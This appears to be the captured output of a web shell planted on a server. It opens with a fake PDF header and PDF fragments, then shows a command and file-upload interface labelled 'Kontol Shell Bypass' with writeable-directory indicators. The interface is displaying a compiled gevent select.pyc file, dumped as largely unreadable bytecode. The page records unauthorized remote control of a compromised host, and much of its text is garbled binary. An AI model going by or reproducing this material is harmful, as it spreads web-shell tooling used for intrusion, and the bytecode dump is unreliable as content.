%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/select.cpython-39.pyc
a

�_g�3�@sjdZddlmZmZmZddlZddlZddlm	Z	ddl
mZddl
m
ZddlmZddlmZdd	lmZdd
lmZddlmZejZej�d�r�d
d�ZneZdZdZdZdZdZdZ dZ!dZ"dZ#dZ$dgZ%e&ed�r�e%�'d�ndgZ(dge%Z)ej*Z*eee+�e)dd�Z,dZ-dZ.dd�Z/Gdd �d e0�Z1d'd!d�ZGd"d#�d#e0�Z2Gd$d�de0�Z3d%d&�Z4dS)(z
Waiting for I/O completion.
�)�absolute_import�division�print_functionN)�Event)�_get_hub_noargs)�sleep)�
integer_types)�	iteritems)�copy_globals)�_NONE)�EINTR�win32cCs|s|s|sdSt||||�S)N��rr)�_real_original_select)�r�w�x�trr�:/vddos/python/lib/python3.9/site-packages/gevent/select.py�_original_selectsr������ �@���select�poll�errorr)Znames_to_ignoreZdunder_names_to_keepcCs@z
|j}Wn.ty8t|t�s0td|f��|YS0|�S)Nz6argument must be an int, or have a fileno() method: %r)�fileno�AttributeError�
isinstancer�	TypeError)�objZfileno_frrr�
get_filenoBs


r(c@s<eZdZdZedd��Zedd��Zedd��Zdd	�Z	d
S)�SelectResultrcs��fdd�}||_|S)Ncs��|�|�����dS�N)�append�close�set)�fd�watcher��event�ready_collectionrr�cbQs
z'SelectResult._make_callback.<locals>.cb)�mask)r2r1r4r3rr0r�_make_callbackOszSelectResult._make_callbackcGs�t�j}|j}|j}|D]t\}}z<|D]2}|t|�|j�}	||	_|�|	�|	�|||	�q&Wqt	y�}
zt
|
j��WYd}
~
qd}
~
00qdSr*)�get_hub�loop�io�MAXPRIr(r4�priorityr+�start�IOErrorr"�args)�cls�watchersZfd_cbr7r8r9Zfdlist�callbackr.r/�exrrr�_make_watchersXs
zSelectResult._make_watcherscCs(|D]}|��|��q|dd�=dSr*)�stopr,)r?r/rrr�	_closeallhs
zSelectResult._closeallc
	Csxg}g}g}t�}|�||t�}|�||t�}	z8|�|||f||	f�|j|d�||gfW|�|�S|�|�0dS)N��timeout)rr5�_EV_READ�	_EV_WRITErB�waitrD)
�self�rlist�wlistrFr?�read�writer1Zadd_readZ	add_writerrrr os 
�

�zSelectResult.selectN)
�__name__�
__module__�__qualname__�	__slots__�staticmethodr5�classmethodrBrDr rrrrr)Ls


r)c
Cs�|dur|dkrtd��t|ttf�r*|nt|�}t|ttf�rD|nt|�}d}zt|||d�}WnDty�}z,t|dd�p�|jd}|tkr��WYd}~n
d}~00|ds�|ds�|ds�|dur�|dkr�t	�|St
�}|�|||�S)a�An implementation of :obj:`select.select` that blocks only the current greenlet.

    .. caution:: *xlist* is ignored.

    .. versionchanged:: 1.2a1
       Raise a :exc:`ValueError` if timeout is negative. This matches Python 3's
       behaviour (Python 2 would raise a ``select.error``). Previously gevent had
       undefined behaviour.
    .. versionchanged:: 1.2a1
       Raise an exception if any of the file descriptors are invalid.
    Nrztimeout must be non-negativer�errnorr)�
ValueErrorr%�list�tuplerr"�getattrr=r�_g_sleepr)r )rKrLZxlistrFZsel_results�eZenumber�resultrrrr �s (
c@s eZdZdZdd�Zdd�ZdS)�
PollResult)�eventsr1cCst�|_t�|_dSr*)r-r^rr1�rJrrr�__init__�szPollResult.__init__cCsL|dkrt}n d}|t@rt}|t@r.|tO}|j�||f�|j��dS)Nr)	�POLLNVALrG�POLLINrH�POLLOUTr^�addr1r-)rJr^r.Zresult_flagsrrr�	add_event�szPollResult.add_eventN)rOrPrQrRr`rerrrrr]�sr]c@sFeZdZdZdd�Zefdd�Zdd�Zdd	�Zddd�Z	d
d�Z
d
S)r!a�
    An implementation of :obj:`select.poll` that blocks only the current greenlet.

    With only one exception, the interface is the same as the standard library interface.

    .. caution:: ``POLLPRI`` data is not supported.

    .. versionadded:: 1.1b1
    .. versionchanged:: 1.5
       This is now always defined, regardless of whether the standard library
       defines :func:`select.poll` or not. Note that it may have different performance
       characteristics.
    cCsi|_t�j|_dSr*)�fdsr6r7r_rrrr`�sz
poll.__init__cCsH|turttB}n d}|t@r"t}|t@r2|tO}t|�}||j|<dS)a�
        Register a file descriptor *fd* with the polling object.

        Future calls to the :meth:`poll`` method will then check
        whether the file descriptor has any pending I/O events. *fd* can
        be either an integer, or an object with a ``fileno()`` method that
        returns an integer. File objects implement ``fileno()``, so they
        can also be used as the argument (but remember that regular
        files are usually always ready).

        *eventmask* is an optional bitmask describing the type of events
        you want to check for, and can be a combination of the
        constants ``POLLIN``, and ``POLLOUT`` (``POLLPRI`` is not supported).
        rN)rrGrHrbrcr(rf)rJr.�	eventmask�flagsr#rrr�register�s
z
poll.registercCs|�||�dS)zA
        Change the set of events being watched on *fd*.
        N)ri)rJr.rgrrr�modifyszpoll.modifyc	Cs�g}|jj}|jj}zBt|j�D]2\}}|||�}|�|�||_|j||dd�q Wn(|D]}|��|�	�qb�Yn0|S)NT)Zpass_events)
r7r8r9r	rfr+r:r;rCr,)	rJZ
watcher_cbr?r8r9r.rhr/�awatcherrrr�_get_started_watcherss


zpoll._get_started_watchersNc	Cs�t�}|�|j�}zn|dur6|dkr*d}n|r6|d}|jj|d�t|j�W|D]}|��|��qRS]}|��|��qjn|D]}|��|��q�0dS)aH
        poll the registered fds.

        .. versionchanged:: 1.2a1
           File descriptors that are closed are reported with POLLNVAL.

        .. versionchanged:: 1.3a2
           Under libuv, interpret *timeout* values less than 0 the same as *None*,
           i.e., block. This was always the case with libev.
        Nrg@�@rE)	r]rlrer1rIrWr^rCr,)rJrFr\r?rkrrrr!1s(


��z	poll.pollcCst|�}|j|=dS)z�
        Unregister the *fd*.

        .. versionchanged:: 1.2a1
           Raise a `KeyError` if *fd* was not registered, like the standard
           library. Previously gevent did nothing.
        N)r(rf)rJr.r#rrr�
unregisterZszpoll.unregister)N)rOrPrQ�__doc__r`rrirjrlr!rmrrrrr!�s

)cCs*|jd}|��|r&|�dddd�dS)N�
aggressive�epollZkqueueZkeventZdevpoll)Zpatch_kwargsZdefault_patch_itemsZremove_item)Z
patch_requestrorrr�_gevent_do_monkey_patchfs
�rq)N)5rn�
__future__rrr�sysr Z
__select__Zgevent.eventrZ
gevent.hubrr6rrZZgevent._compatrr	Zgevent._utilr
rrUrr�platform�
startswithrrb�POLLPRIrc�POLLERR�POLLHUPra�
POLLRDNORM�
POLLRDBAND�
POLLWRNORM�
POLLWRBANDZ__implements__�hasattrr+Z	__extra__�__all__r"�globalsZ__imports__rGrHr(�objectr)r]r!rqrrrr�<module>s\
�
�
�
A
D

Kontol Shell Bypass